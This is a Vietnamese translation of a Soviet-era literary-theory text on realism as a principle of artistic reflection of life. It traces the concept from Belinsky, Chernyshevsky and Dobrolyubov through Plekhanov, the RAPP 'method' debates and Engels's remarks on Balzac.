Tất nhiên, trong sự thay đổi khuynh hướng tư tưởng – cảm xúc của việc miêu tả giới quý tộc Pháp đang rệu rã, chủ nghĩa hiện thực trong tiểu thuyết Bandắc như một nguyên tắc phản ánh cuộc sống hiện ra trong chúng, đã đóng một vai trò rất to lớn. Nhưng chính khuynh hướng tư tưởng – cảm xúc của những tiểu thuyết ấy – “sự châm biếm sắc sảo” và “mỉa mai cay đắng” được thể hiện trong chúng theo quan hệ với những nhân vật mà nhà văn vì những lý tưởng và quan điểm chính thống của mình đã biểu lộ “cảm tình nhiều hơn cả” trong nguyên tắc – đó không phải là chủ nghĩa hiện thực, không phải là nguyên tắc miêu tả đời sống. Đó là một phương diện khác của nội dung các tiểu thuyết Bandắc, là cảm hứng tư duy nghệ thuật và đánh giá các tính cách được miêu tả của ông. Cái cảm hứng ấy xuất hiện không phải từ việc nhà văn phản ánh các tính cách đó một cách hiện thực mà bởi vì tầm quan trọng của các lý tưởng chính thống của mình, trong khi nhận rõ vai trò của các giai cấp khác trong đời sống xã hội ông đã có thể thấy trước “sự tất yếu suy sụp của những nhà quý tộc thân yêu nhất của mình” và chính vì thế “đã buộc phải” miêu tả họ “như những người không đáng có số phận tốt hơn” và cũng bằng cách đó “chống lại những tình cảm giai cấp riêng của mình. Cái khuynh hướng tư tưởng – cảm xúc như vậy, các cảm hứng như vậy có thể được biểu lộ trong các tác phẩm không hiện thực chủ nghĩa về nguyên tắc phản ánh đời sống.
Như vậy có thể nói về Bandắc rằng ông có quan điểm lịch sử – sai lầm nhưng đã khắc phục chúng một cách sáng tạo và đã đi đến sự hiểu biết tư tưởng – cảm xúc chân thực “những điều lừa dối” của cuộc sống dân tộc Pháp thời đại mình trong khi giữ về cơ bản trong sự mô tả hiện thực của mình cái vẻ giống như thật bề ngoài của nó và đã luôn luôn biểu hiện sự chân thực tư tưởng.
Tất cả các phương diện ấy và những đặc tính nội dung trong tác phẩm các nhà văn dĩ nhiên phải phân biệt. Nhưng đặc biệt quan trọng là không được lẫn lộn tính chân thực của khuynh hướng tư tưởng các tác phẩm văn học với những nguyên tắc phản ánh nghệ thuật cuộc sống mà chúng hiện ra trong tác phẩm, đặc biệt là với chủ nghĩa hiện thực của chúng.
Những nguyên tắc ấy ra sao và thế nào là chủ nghĩa hiện thực của phản ánh nghệ thuật đời sống?

II. Những nguyên tắc phản ánh nghệ thuật đời sống
1
Trong ngành nghiên cứu văn học hiện đại của chúng ta ngày càng nhiều ý kiến khẳng định rằng chủ nghĩa hiện thực – đó không phải là trào lưu văn học đã thay thế cho một trào lưu khác là chủ nghĩa lãng mạn trong văn học các dân tộc khác nhau thế kỷ XIX mà đó là một tính chất khác hoàn toàn của các tác phẩm, nó đã xuất hiện thường xuyên trong văn học các dân tộc khác nhau và ở các nghệ thuật khác trong những giai đoạn sớm hơn nhiều của sự phát triển lịch sử của chúng.
Vào đầu những năm 30 trong phê bình văn học Xô Viết người ta đã gọi chủ nghĩa hiện thực là một trong những “phương pháp” sáng tác hay nghệ thuật, trong khi nhận thức dưới đó là một nguyên tắc nhất định của phản ánh cuộc sống bằng hình tượng. Nhưng trong mươi năm gần đây thuật ngữ “phương pháp” đã bị mất đi trong khoa học chúng ta sự rõ ràng ấy của nội dung của mình. Dưới thuật ngữ “phương pháp”, như đã nói, người ta đã hiểu những bản chất khác của các tác phẩm nghệ thuật, chẳng hạn như những đặc điểm của nội dung tư tưởng của chúng trong sự thống nhất tất cả các mặt của nó hay cả nguyên tắc sáng tạo đặc biệt làm cơ sở xây dựng các hình tượng nghệ thuật, đôi khi cả cái này lẫn cái khác.
Nhưng khi đánh mất tính rõ ràng ý nghĩa trước đây của thuật ngữ “phương pháp”, các nhà nghiên cứu văn học đã không thay nó bằng một thuật ngữ khác và điều đó rõ ràng cản trở sự phát triển tư duy khoa học. Vì vậy ở đây chúng ta sẽ nói về cái gì được ngụ ý đầu tiên dưới thuật ngữ “phương pháp” – về nguyên tắc rõ ràng của phản ánh nghệ thuật đời sống.
Nhưng nếu như chủ nghĩa hiện thực – không phải là trào lưu văn học, mà là một sự lặp lại có tính lịch sử nào đấy trong các tác phẩm của các dân tộc khác nhau, là nguyên tắc có khuynh hướng phản ánh đời sống (và do đó là một khái niệm loại hình học) thì bây giờ vấn đề được đặt ra là tồn tại chăng những nguyên tắc tương tự nào khác, phân biệt với chủ nghĩa hiện thực và chúng là như thế nào.
Về vấn đề này ở chúng ta trong ngày nay đang diễn ra những cuộc bàn luận khoa học rất tích cực. Các cuộc tranh luận ấy có thể giải quyết chỉ bằng một con đường: lúc đầu thỏa thuận với nhau chủ nghĩa hiện thực nói chung trong những đặc tính chủ yếu cơ bản là gì và sau đó sẽ xác định cái gì tồn tại trong chính bình diện ấy khác hẳn với chủ nghĩa hiện thực, những nguyên tắc khác của phản ánh đời sống sẽ như thế nào.
Sự thấu hiểu mang tính lý luận rằng chủ nghĩa hiện thực là cái gì trong sự phân biệt của nó với những mặt khác mang tính loại hình của nội dung các tác phẩm văn học, ban đầu xuất hiện từ trước khi trong phê bình văn học lĩnh hội được chính cái từ “chủ nghĩa hiện thực”. Và hình như sự phỏng đoán đầu tiên đó về đặc tính đó của các tác phẩm văn học là thuộc về Bêlinxki.
Chúng ta muốn nói đến không phải sự phân chia nổi tiếng về “thi ca” “lý tưởng” và “hiện thực” được chia ra trong bài báo “Về truyện vừa Nga và các truyện vừa của Gôgôn”. Trong bài báo ấy Bêlinxki nói về một điều khác, về những khác biệt lịch sử, về các giai đoạn phát triển cấu tạo chung của thế giới quan nghệ thuật của xã hội. Trong những giai đoạn đầu lịch sử của mình, văn học đã phản ánh đời sống xã hội, trong đó cá nhân còn chưa phân hóa và đã chìm trong hoạt động của tập thể dân tộc hay bộ tộc của mình, ở đó ý thức của mọi người mà sự sáng tạo của họ từ đấy vẫn còn hoàn toàn lệ thuộc vào các ý niệm tôn giáo và quyền uy công dân. Ở giai đoạn muộn hơn về sau văn học đã phản ánh đời sống xã hội trong đó quá trình tự quyết đạo đức và tư tưởng của cá nhân đã xảy ra. Điều đó đã đưa đến sự xuất hiện kết cấu mới hoàn toàn của thế giới quan chính các nhà văn mà từ đó đưa tới sự ra đời toàn bộ những vấn đề mới và thể loại mới. Và các nhà văn ấy thấu hiểu phần lớn phương diện cá nhân, riêng lẻ của đời sống xã hội mọi người. Khi nói về tất cả điều đó, nhà phê bình đã không ngụ ý đến nguyên tắc này hay nguyên tắc khác của phản ánh nghệ thuật đời sống.
Mãi về sau Bêlinxki mới hiểu rõ phương diện này của nội dung các tác phẩm văn học khi ông khắc phục được chủ nghĩa duy tâm khách quan của các quan điểm thời kỳ đầu của mình và bắt đầu nắm vững thế giới quan duy vật chủ nghĩa. Ông đã viết một cách cặn kẽ, rành mạch hơn về vấn đề này trong bài báo “Văn học Nga năm 1843”, nhưng không sử dụng không chỉ thuật ngữ “chủ nghĩa hiện thực” mà cả thuật ngữ “chủ nghĩa tự nhiên” được ông quán triệt không lâu sau này.
Khi nhận định rằng “Gôgôn đã làm tiêu tan hai khuynh hướng lệch lạc của văn học Nga: chủ nghĩa duy tâm gượng gạo đi trên cà kheo… và sau đó là chủ nghĩa giáo huấn trào lộng”, nhà phê bình đã nhận xét cặn kẽ khuynh hướng thứ hai. Theo ý kiến của ông thì bài văn “châm biếm” trong lúc tự xưng tên như vậy “đã công kích những thói xấu chung… mà chúng… đã hoàn toàn không phải là thói xấu và phải chăng là những tư tưởng trừu tượng về cái thói xấu” thì “các nhà châm biếm đã nhìn các thói xấu và nhược điểm của mọi người như một điều gì đó phụ thuộc vào một nhân vật cá thể này hay cá thể khác, như một cái gì đó tuỳ tiện mà nhân vật ấy có thể có hoặc không có theo sở nguyện của mình và sau khi đã đọc xong bài châm biếm có sức thuyết phục thì nhân vật đó có thể dễ dàng tiếp thu hoặc thoát khỏi nó”; thì các nhà châm biếm “đã không thể có liên quan một cách rõ nét đến hoàn cảnh của nhân vật này hay nhân vật khác” và họ “đã nắm lấy con người trong khi không chú ý đến việc giáo dục của nó, đến mối quan hệ xã hội” của nó.
Bêlinxki đã đối lập văn châm biếm giáo huấn với “tiểu thuyết và truyện vừa” mà chúng “bây giờ được viết ra… thiếu hẳn bất kỳ một ý định và mục tiêu châm biếm nào”. Các tác giả của chúng “hướng tới miêu tả những con người hiện thực chứ không phải con người tưởng tượng; nhưng vì các con người hiện thực sống ở… trong xã hội… thì hiển nhiên các nhà văn thời đại chúng ta miêu tả xã hội cùng với những con người”(1).
Tiếp theo, nhà phê bình giải thích thêm rằng xã hội nào và quan hệ ra sao giữa xã hội và con người riêng lẻ. “Xã hội – ông viết, – nó là một cái gì đấy hiện thực chứ không phải tưởng tượng… những phong tục tập quán, quan niệm, quan hệ v.v… tạo nên bản chất của nó. Con người sống trong xã hội, phụ thuộc vào nó trong nếp nghĩ, trong hình dáng hoạt động của mình”. Bêlinxki hình dung rằng “các nhà văn thời đại chúng ta”, tức là Gôgôn và những người kế tục của ông “không thể không hiểu cái chân lý hiển nhiên đơn giản ấy, bởi vì khi miêu tả con người họ đang cố gắng đi sâu vào các nguyên nhân vì lẽ gì mà nó như thế này hoặc chẳng như thế này v.v…”(1).
Dĩ nhiên không phải Gôgôn, không phải số đông những người kế tục ông- những nhà văn nhanh chóng tạo nên “trường phái tự nhiên” đã không hiểu sự phụ thuộc của nếp nghĩ và hành động của con người và vị trí của chúng trong xã hội. Họ đã không hiểu được cái điều rằng họ đã không đi tới tư tưởng khái quát, phát triển rõ ràng về sự phụ thuộc và họ đã không đẩy cái tư tưởng ấy thành nguyên tắc thế giới quan của mình. Nhưng họ cũng như nhiều nhà văn trước họ đã nhận biết mặc dù chỉ lờ mờ cái tính tất yếu và cái lôgic bên trong của “nếp nghĩ” và “hình ảnh của hoạt động” này hay nọ trong các tính cách của những con người ở các tầng lớp xác định của xã hội mà họ đã quan sát trong cuộc sống và sau đó đã làm thành các nguyên mẫu các nhân vật của tác phẩm của mình. Và họ thường tái hiện rất trung thành những quy luật bên trong ấy của các tính cách xã hội những nhân vật của mình trong các hình tượng của chúng. Rõ ràng là Bêlinxki muốn nói đến chính điều đó. Trong khi không sử dụng thêm một thuật ngữ nào, về thực chất ông đã nói về việc tái hiện một cách hiện thực các tính cách trong văn học nghệ thuật.
Khám phá này đã có một ý nghĩa khoa học lớn. Nhưng Bêlinxki rõ ràng đã tiếp cận nó chỉ theo kiểu phê bình “dò dẫm”. Và tiếc là ông đã không tiếp tục chú ý nghiên cứu một khái niệm khoa học phù hợp và đã không đứng vững trong các tác phẩm sau đó của mình trên đỉnh cao lý luận đã đạt được.
Chẳng hạn như trong bài nhận xét tổng quan “Nhận định về văn học Nga năm 1847” sau đó của mình, Bêlinxki trong khi khẳng định rằng văn học Nga “ngay trong ban đầu của mình đã chảy.. hai dòng song song” – tự nhiên và lý tưởng, đã nghĩ rằng người đại biểu sớm nhất của dòng đầu tiên là Cantemir và trong sáng tác của ông “thơ ca Nga đã bộc lộ khát vọng hiện thực, hướng về cuộc sống như nó vốn có, đã đặt sức mạnh vào mình vào sự trung thành với tự nhiên”(1).
Nhưng nhà phê bình đã không cố gắng áp dụng đối với văn châm biếm của Cantemir những tiêu chí đúng đắn của việc tái hiện các tính cách mà ông đã nhận xét từ sớm (“liên quan đến hoàn cảnh của nhân vật này hay nhân vật khác”, “chú ý đến sự giáo dục của nó, đến quan hệ của nó đối với xã hội”, “cố gắng đi vào các nguyên nhân vì lẽ gì nó như thế này hoặc chẳng như thế này…”). Nếu như ông làm đều đó, ông đã phải đi đến kết luận rằng Cantemir đã hoàn toàn xa lạ với quan niệm xem ông ta là một trong những người đặt nền móng của “chủ nghĩa giáo huấn châm biếm” trong văn học mới của chúng ta, rằng ông đã buộc các nhân vật của mình hành động không phải trong sự phù hợp với những quy luật nội tại của tính cách chúng vốn được tạo nên bởi những hoàn cảnh đời sống của chúng trong xã hội, mà trong sự phù hợp với khuynh hướng giáo huấn châm biếm của mình và khuynh hướng đó đã chân thực sâu sắc với quan điểm lịch sử dân tộc?.
Chưa hẳn là tất cả điều đó đã hoàn toàn sáng tỏ về mặt lý luận đối với những người kế tục Bêlinxki là Sécnưsepxki và Đôbrôliubốp. Tuy nhiên trong các tác phẩm phê bình xuất sắc của mình họ đã xuất phát nhìn chung từ quan niệm tổng quát của nguyên tắc hiện thực chủ nghĩa của sự phản ánh các tính cách mà Bêlinxki đã nhận xét trong bài tổng quan của mình về văn học Nga năm 1843.
Chẳng như trong bài báo về “Ký sự tỉnh thành” của Sêđrin, Sécnưsepxki thấy rõ nguyên tắc ấy trong quá trình xem xét “nếp nghĩ” và “cách thức hành động” của các quan lại Nga thời kỳ trước cải cách, nhà văn đã miêu tả chúng ra sao trong một loại bài châm biếm đầu tiên ấy của mình. “Nên chăng phải xem chúng – nhà phê bình hỏi – là những người xấu xa theo bản tính của mình hay là giả định rằng những thói xấu của chúng đã phát triển bởi những hoàn cảnh xa lạ, không lệ thuộc vào ý chí của chúng?”. Nói tiếp về thói nhận hối lộ phổ biến trong giới thơ lại, nhà phê bình giải thích điều đó rằng bọn thơ lại bất đắc dĩ phải “khai thác tất cả các khoản thu nhập của mình chỉ từ những công việc chức phận của mình”. “Thói quen – nhà phê bình viết – không bao giờ xuất hiện mà thiếu nguyên nhân; nó luôn được tạo ra bởi sức mạnh tất yếu của những hoàn cảnh lịch sử”(1). Sécnưsepxki không gọi Sêđrin là nhà hiện thực. Nhưng thực chất ông đã tìm thấy nguyên tắc hiện thực chủ nghĩa phản ánh đời sống trong các ký sự của ông.
Đôbrôliubốp còn tiếp tục đi xa hơn trong quan hệ này. Không chỉ lý luận mà chủ yếu là trong các bài phê bình những tác phẩm riêng lẻ ông đã đi tới nhận thức rằng việc tái hiện các tính cách xã hội trong sự phù hợp với các hoàn cảnh lịch sử xuất hiện trong chính quá trình sáng tạo nghệ thuật, có thể dẫn nhà văn vào mâu thuẫn với ý đồ đầu tiên của mình. “Đối với chúng ta – nhà phê bình đã viết trong bài báo về tiểu thuyết “Ngày hôm trước” của Tuốcghênhep – điều quan trọng không chỉ là tác giả muốn nói cái gì mà còn là cái gì được nói bởi anh ta, dù cho nó không có ý định, chỉ đơn giản là vì tái hiện chân thực các sự kiện đời sống”. Trong khi phân tích cuốn tiểu thuyết ngay lập tức ông nhận xét rằng trong “Ngày hôm trước” chúng ta thấy ảnh hưởng cực kỳ sâu sắc của tiến trình tự nhiên của đời sống xã hội và của tư duy, chính tư duy và sự tưởng tượng của tác giả đã lệ thuộc một cách không chủ tâm vào tiến trình đó(1). Tiếp tục phân tích cặn kẽ cuốn tiểu thuyết, Đôbrôliubốp chỉ ra sự không phù hợp giữa quan niệm tự do định sẵn của Tuốcghênhep vốn có ý định chỉ biểu lộ ý nghĩa toàn dân cuộc đấu tranh của những nhà hoạt động dân chủ kiểu như Inxarốp với nội dung giai cấp thực tiễn chống quý tộc của cuộc đấu tranh của họ trong những điều kiện Nga.
Như vậy nền phê bình dân chủ Nga những năm 40 – 60 lần đầu tiên đã hướng sự chú ý đến phương diện nhận thức khách quan của nhiều các tác phẩm nghệ thuật, đã làm phong phú lý luận văn học bằng một khái niệm mới rất quan trọng – khái niệm tính đúng đắn của việc tái hiện các tính cách xã hội trong tính quy luật nội tại của chúng được tạo ra bởi những hoàn cảnh lịch sử đời sống xã hội. Và trong nhiều trường hợp nó đã vận dụng một cách xuất sắc vào thực tiễn nghiên cứu những tác phẩm văn học riêng lẻ của mình. Nhưng nó đã không nghiên cứu lý luận khái niệm ấy và đã không củng cố nó bằng một thuật ngữ đồng nghĩa. Tuy nhiên ngành khoa học của chúng ta không bao giờ và không thể nào từ bỏ thành tựu to lớn đó của giới phê bình dân chủ.
Việc củng cố khái niệm nguyên tắc phản ánh nghệ thuật đời sống đã diễn ra một cách tự phát về sau. Thuật ngữ “chủ nghĩa hiện thực” được giới phê bình Nga mượn từ các nhà phê bình Pháp những năm 850, từ Đuyrantơ và Sanphlerơ – những người đã sử dụng nó như là tên gọi trào lưu văn học mới nhưng đã không cho no một nội dung riêng biệt, rõ ràng đầy đủ.
2
Có lẽ việc nghiên cứu khái niệm mà các nhà phê bình dân chủ Nga tìm ra, phân loại thuật ngữ đã được khoa nghiên cứu văn học viện hàn lâm bắt đầu vào nửa sau thế kỷ XIX và đầu thế kỷ X. Nhưng khoa nghiên cứu văn học ở Nga cũng như ở phương Tây đúng vào lúc hấp thụ ngày càng nhiều những nguyên tắc thực chứng của tư duy khoa học đã lái nó hướng mạnh sang việc quan tâm đến phương diện nhận thức khách quan của các tác phẩm nghệ thuật. Do tính chất biểu đồ sự kiện trong khảo sát của mình và chủ nghĩa chiết trung phương pháp luận của mình mà ngay cả “trường phái văn học lịch sử” chứ chưa nói gì đến chủ nghĩa so sánh và chậm hơn là chủ nghĩa hình thức và chủ nghĩa Phờrớt đã không làm được một chút ý nghĩa nào trong mối quan hệ này.
Khoa nghiên cứu văn học duy vật – lịch sử mà Plêkhanốp là người đặt nền móng ở Nga, không ít khi đã say mê với quan điểm chủ quan của nhiều tác phẩm nghệ thuật. Và ngay trong các bài báo của mình đã bộc lộ những mặt mạnh về phương pháp luận của ông, Plêkhanốp đã tiếp tục lưu ý chúng ta đến truyền thống phê bình dân chủ những năm 40 – 60, đặc biệt là Đôbrôliubốp.
Chẳng hạn như trong các bài báo thời kỳ đầu của mình về các nhà văn – dân tuý, Plêkhanốp đã phát triển tỉ mỉ tư tưởng về sự có mặt trong bút ký nghệ thuật của các nhà văn ấy những mâu thuẫn sâu sắc giữa những khát vọng chủ quan – lịch sử của họ nhằm biện minh về mặt tư tưởng và bảo vệ những “nguyên tắc” lỗi thời của nông thôn Nga với chủ nghĩa hiện thực miêu tả các tính cách của chúng và tình cảnh đời sống nông dân. “Văn chương dân tuý của chúng ta hoàn toàn có tính hiện thực – Plêkhanốp viết – nhưng hiện thực không giống kiểu văn học Pháp hiện đại, chủ nghĩa hiện thực của nó thấm đẫm tư tưởng và nồng ấm tình cảm”. Nhưng sau đó ông đã chỉ rõ ví dụ như X.Karônhin “mặc dù với tất cả thành kiến và thiên vị dân tuý của mình, đã bắt đầu miêu tả chính những mặt đời sống nhân dân chúng ta, từ sự mâu thuẫn với những điều trên… đã làm tan vào bụi bặm tất cả “lý tưởng” của những nhà dân tuý”; ông đã chỉ rõ ràng nhà văn này trong khi không lúng túng với tính không nhất quán của mình, cần phải “bác bỏ trong tư cách văn chương tất cả cái gì mà chính anh ta, chắc hẳn đã bảo vệ một cách nhiệt thành trên cơ sở văn chính luận”(1).
Trong bài báo “Nghệ thuật và đời sống xã hội” Plêkhanốp đã viết về
“những nhà hiện thực Pháp đầu tiên”, đặc biệt là Phlôber. Và ông đã chỉ ra sức mạnh của tính khách quan các tác phẩm của nhà văn này mâu thuẫn với tính chủ quan của những quan điểm xã hội của ông ta. “Tính khách quan là mặt mạnh nhất trong phương pháp của ông ta, nhưng, trong lúc giữ nguyên tính khách quan trong quá trình sáng tạo nghệ thuật thì Phlôber đã không chấm dứt tính rất chủ quan trong đánh giá những vận động xã hội cùng thời với ông”. Và tiếp đó là: “Nếp nghĩ thủ cựu và phần nào phản động của các nhà hiện thực chúng và xây dựng nên những tác phẩm giá trị trong quan hệ nghệ thuật”(2). Ở đây Plêkhanốp biểu lộ cái cách hiểu những mâu thuẫn có thể giữa những tiền đề tư tưởng sáng tạo của nhà văn với chủ nghĩa hiện thực của nó, cái cách hiểu như đã có ở Lênin khi ông viết về các mâu thuẫn giữa “chủ nghĩa hiện thực vô cùng sáng suốt” với “sự cổ xuý ngây dại” tôn giáo trong các tác phẩm của L.Tônxtôi.
Plêkhanốp nhờ nắm vững phương pháp luận của chủ nghĩa duy vật lịch sử nên đã hiểu tốt hơn Sécnưsepxki và Đôbrôliubốp bản chất và sự phát triển của “những hoàn cảnh lịch sử” xác định “nếp nghĩ ” và “cách thức hoạt động” của các nhân vật tác phẩm văn học. Nhưng trong nghiên cứu lý luận về khái niệm “chủ nghĩa hiện thực” thì ông đã không tiếp tục tiến lên. Tuy vậy ông cũng đã vận dụng cách hiểu đó chỉ trong một số bài báo có tính phương pháp lý luận chính thống nhất của mình.
Những người kế tục Plêkhanốp phát triển phần lớn những mặt yếu của phương pháp luận của ông ta, tạo nên trong những năm 1910 – 1920 một khuynh hướng mang tên “xã hội học tầm thường” đã làm giảm thiểu hơn trong quan hệ ấy. Một vài người trong số họ khi tiếp nhận lý luận “nghệ thuật – trò chơi” do Plêkhanốp đề ra (V.M. Phritre, V.F. Pereverdep) đã chú ý trước hết đến phương diện xúc cảm chủ quan của nhiều tác phẩm văn học mà xem thường ý nghĩa nhận thức – khách quan của chúng hoặc giải thích chỉ bề ngoài của nó. Phritre chẳng hạn, thường nói về chủ nghĩa hiện thực trong “Ghi chép sự phát triển văn học phương Tây” của mình nhưng đã hiểu dưới chủ nghĩa hiện thực là “tính khoa học” của sự biểu hiện tư tưởng khái quát của nhà văn, và đối với ông ta thì Marinhetti là nhà hiện thực lớn hơn Bandắc.
Một vài chuyển biến trong nghiên cứu khái niệm “chủ nghĩa hiện thực” đã diễn ra ở chúng ta khoảng giữa những năm 20 và 30 khi các nhà lý luận của Hội liên hiệp các nhà văn vô sản Nga (A. Phađêep, I. A. Vinôgrađốp và những người khác) nêu lên khái niệm “phương pháp sáng tác” và đã đồng nhất chủ nghĩa hiện thực nghệ thuật với “chủ nghĩa duy vật hợp lôgic nhiều hoặc ít” của thế giới quan triết học của nhà văn. Bằng cách đó họ đã khước từ khả năng trở thành nhà hiện thực đối với tất cả các nhà văn không đứng trên lập trường triết học chủ nghĩa duy vật lịch sử, tức là hầu hết các nhà văn của văn học thế giới. Và tất nhiên họ không có ý định cần phải đồng thời xem xét là không có khả năng tồn tại những mâu thuẫn giữa ý đồ nghệ thuật của các nhà văn bắt nguồn từ thế giới quan tư tưởng của họ với chủ nghĩa hiện thực các khái quát sáng tạo của họ. Họ đã rời xa khỏi luận điểm có tính phương pháp luận rất quan trọng đã được Đôbrôliubốp trình bày và sau đó được Plêkhanốp và Lênin vận dụng.
Nhưng trong lý luận “phương pháp sáng tác” do các nhà phê bình của Hội liên hiệp các nhà văn vô sản Nga đề xuất lại có hạt nhân hợp lý của mình. Nó nằm ở chỗ trước hết có được một thuật ngữ đặc biệt là “phương pháp” – để đánh dấu cái phương diện đặc biệt của nội dung tác phẩm nghệ thuật mà nguyên tắc này hay nguyên tắc khác của việc phản ánh cuộc sống trong hình tượng nghệ thuật là phương diện nội dung đó.
Tất nhiên bản thân thuật ngữ này là không đạt. Không phải vì nó vay mượn từ triết học (không có gì xấu trong việc này) mà bởi độ rộng lớn thuộc về từ nguyên của mình và tính chất mù mờ bắt nguồn từ đó. Với cái từ “phương pháp” có thể dễ dàng kể tên những nguyên tắc khác nhau của tư duy nghệ thuật, những nguyên tắc khác nhau của điển hình hóa sáng tạo đời sống, những thủ pháp sáng tác khác nhau và còn rộng hơn – là bất kỳ loại phương thức hoạt động hay tác động nào vào các hiện tượng này hay hiện tượng khác của đời sống. Từ đó đã xuất hiện sự cực kỳ không vững chắc tiếp theo của ý nghĩa thuật ngữ “phương pháp” trong khoa học chúng ta. Tuy nhiên những nhà văn của Hiệp hội các nhà văn vô sản Nga đã có lý khi tách được phương diện mà họ quan tâm mang tính thuật ngữ của nội dung tác phẩm.
Họ đồng thời đã có lý ở chỗ giống như các nhà triết học đã sử dụng một bộ phận nhỏ hai mặt (lưỡng phân) của chính “phương pháp”. Họ đã phân biệt sự phản ánh cuộc sống có tính lý tưởng được giả định gọi là “chủ nghĩa lãng mạn” với việc phản ánh cuộc sống bằng hình tượng có tính duy vật chủ nghĩa theo quan điểm của họ là chủ nghĩa hiện thực. Việc vận dụng thuật ngữ cuối cùng đó đã rất không thuận tiện. Tất cả các tác phẩm không hiện thực hóa ra đều là lãng mạn đối với họ ngay cả trong trường hợp khi chúng chẳng có chút quan hệ nào với chủ nghĩa lãng mạn về mặt cảm hứng của mình và cả về định hướng có tính cương lĩnh (trào lưu). Điều đó cho đến nay đã và đang làm cho tất cả những ai giữ lấy thuật ngữ này đi đến trộn lẫn những khái niệm khoa học nhất. Nguyên tắc phản ánh đời sống không hiện thực cần có một thuật ngữ độc lập của mình trong khoa học chúng ta.
Nhưng nguyên tắc “lưỡng phân” của một bộ phận nhỏ, theo ý kiến chúng tôi ở đây cần được duy trì, mặc dù một số nhà nghiên cứu văn học bác bỏ điều đó. Biêlinxki trong một chừng mực nào đó đã đúng khi viết rằng Gôgôn bằng những tác phẩm của mình đã làm tiêu tan hai khuynh hướng trong văn học Nga – “chủ nghĩa duy tâm gượng gạo” và “chủ nghĩa giáo huấn trào lộng”. Nhưng nhà phê bình đã không suy tính xem phải chăng đã không có một điều gì chung trong hai khuynh hướng trên của văn học Nga thế kỷ XVIII và đầu thế kỷ XIX, trong nguyên tắc phân biệt chúng với sáng tác của Gôgôn cũng như với sáng tác của những nhà văn khác tương tự ông ta về nguyên tắc phản ánh đời sống ví như với ngụ ngôn của Krưlốp hay với “Épghênhin Ônhêghin” của Puskin, những tác phẩm mà về sau chính Bêlinxki đã gọi là những hình tượng tốt nhất của “chủ nghĩa tự nhiên” trước Gôgôn.
Thực ra thì “tính chất gượng gạo” “không tự nhiên” tức là tính khuynh hướng cảm xúc của những nhà lãng mạn (và không chỉ của những nhà lãng mạn) và “chủ nghĩa giáo huấn” tức khuynh hướng duy lý của “các nhà trào phúng” thời cổ đại chủ nghĩa cổ điển (và không chỉ của “các nhà trào phúng”), trong tất cả những khác biệt quan trọng của mình có một cái gì đó chung trong nguyên tắc phản ánh đời sống. Cả cái này lẫn cái kia đều dẫn nhà văn tới chỗ họ bắt sự tương quan và phát triển của những tính cách được miêu tả phụ thuộc vào không chỉ những quy luật nội tại của chúng được tạo nên bởi những hoàn cảnh đời sống xã hội mà còn vào khuynh hướng tư tưởng định trước và trừu tượng một cách lịch sử (mặc dù thường là rất chân thực một cách lịch sử!) của các tác phẩm bắt nguồn từ những đặc điểm phù hợp với thế giới quan của nhà văn. Vì vậy mà, đối chiếu với chủ nghĩa hiện thực không phải cả loạt những nguyên tắc khác của phản ánh nghệ thuật đời sống mà chỉ một nguyên tắc – không hiện thực – của việc phản ánh đó, mặc dù trong những trào lưu văn học khác nhau của các thời đại khác nhau nguyên tắc chung ấy bộc lộ tự bên trong những sự khác nhau cơ bản cũng như chủ nghĩa hiện thực bộc lộ chúng trong những điều kiện lịch sử xã hội khác nhau. Trong cái nghĩa ấy “sự lưỡng phân” do các nhà văn Hiệp hội nhà văn vô sản Nga nêu lên là có lý lẽ xác đáng.
3
Sự phê phán lý luận “phương pháp” kiểu các nhà văn vô sản Nga đầu tiên vào năm 1932, dần dần đã hướng giới nghiên cứu văn học Xô Viết đến sự hiểu biết đúng đắn vấn đề này. Việc công bố lần đầu bằng tiếng Nga bức thư của F. Ăngghen gửi M. Háccơnexơ, bao hàm định nghĩa chủ nghĩa hiện thực của Ăngghen và sự chỉ dẫn của ông về mâu thuẫn giữa những tiền đề tư tưởng của chủ nghĩa chính thống với việc khắc phục chúng có tính hiện thực trong sáng tác của Bandắc đã góp phần không nhỏ đối với vấn đề này. Cần phải nhấn mạnh rằng việc hiểu chủ nghĩa hiện thực và những mâu thuẫn có thể trong sáng tác hiện thực chủ nghĩa được Ăngghen nêu lên, về cơ bản hoàn toàn phù hợp với những khái quát lý luận được tạo ra trong quan hệ này trước nó ba, bốn chục năm của giới phê bình dân chủ Nga, đã phù hợp trong những khái niệm quan trọng nhất và đôi khi thậm chí cả trong từ ngữ (chúng ta đã ngỏ vấn đề trong chừng mực nào Ăngghen đã có thể biết những ý kiến phù hợp của Bêlinxki, Sécnưsepxki, Đôbrôliubốp).
Được vũ trang những mệnh đề lý luận của Ăngghen, các nhà nghiên cứu văn học và triết học Xô Viết – P.Iuđin, M.Rôdentan, I. Nuxinốp và những người khác trong những năm 1933 – 1935 trên các trang tạp chí “Phê bình văn học” đã tiến hành cuộc tranh luận rất tích cực và thú vị về vấn đề mối liên hệ như thế nào giữa những tiền đề tư tưởng sáng tạo của nhà văn với chủ nghĩa hiện thực của họ và phương diện nào trong đó của nội dung tác phẩm của họ có ý nghĩa quyết định.
Trong cuộc tranh luận ấy một số người tham gia tranh luận đã đồng nhất về mặt thuật ngữ khái niệm chủ nghĩa hiện thực với khái niệm tính chân thực của tác phẩm văn hóa. Ví dụ P. Inđin đã viết: “Tính chân thực lịch sử tức là tính khách quan của sự phản ánh trong tác phẩm nghệ thuật những quan hệ có thật, đem lại cho nó sự sắc bén chính trị, tính bức thiết và tính khuynh hướng tư tưởng”. Một số khác đã tránh được sự xáo trộn khái niệm ấy và đã phân biệt rõ ràng khuynh hướng tư tưởng của nhà văn được bộc lộ trong hình tượng tác phẩm mà khuynh hướng đó có thể trở thành chân thực khách quan hay lừa dối với tính đúng đắn hay không đúng đắn của việc phản ánh bởi nhà văn những mối quan hệ và sự phát triển các tính cách.
Về cơ bản đã bàn luận một vấn đề rất phức tạp: chủ nghĩa hiện thực các tác phẩm có phụ thuộc vào ý đồ tư tưởng của nó – vào sự lựa chọn, sự hiểu biết và sự đánh giá các tính cách được bắt nguồn từ thế giới quan của nhà văn ngay cả khi nếu chủ nghĩa hiện thực của tác phẩm rơi vào mâu thuẫn với ý đồ của nhà văn hoặc cả khi nó phụ thuộc vào cái gì đó của người khác?
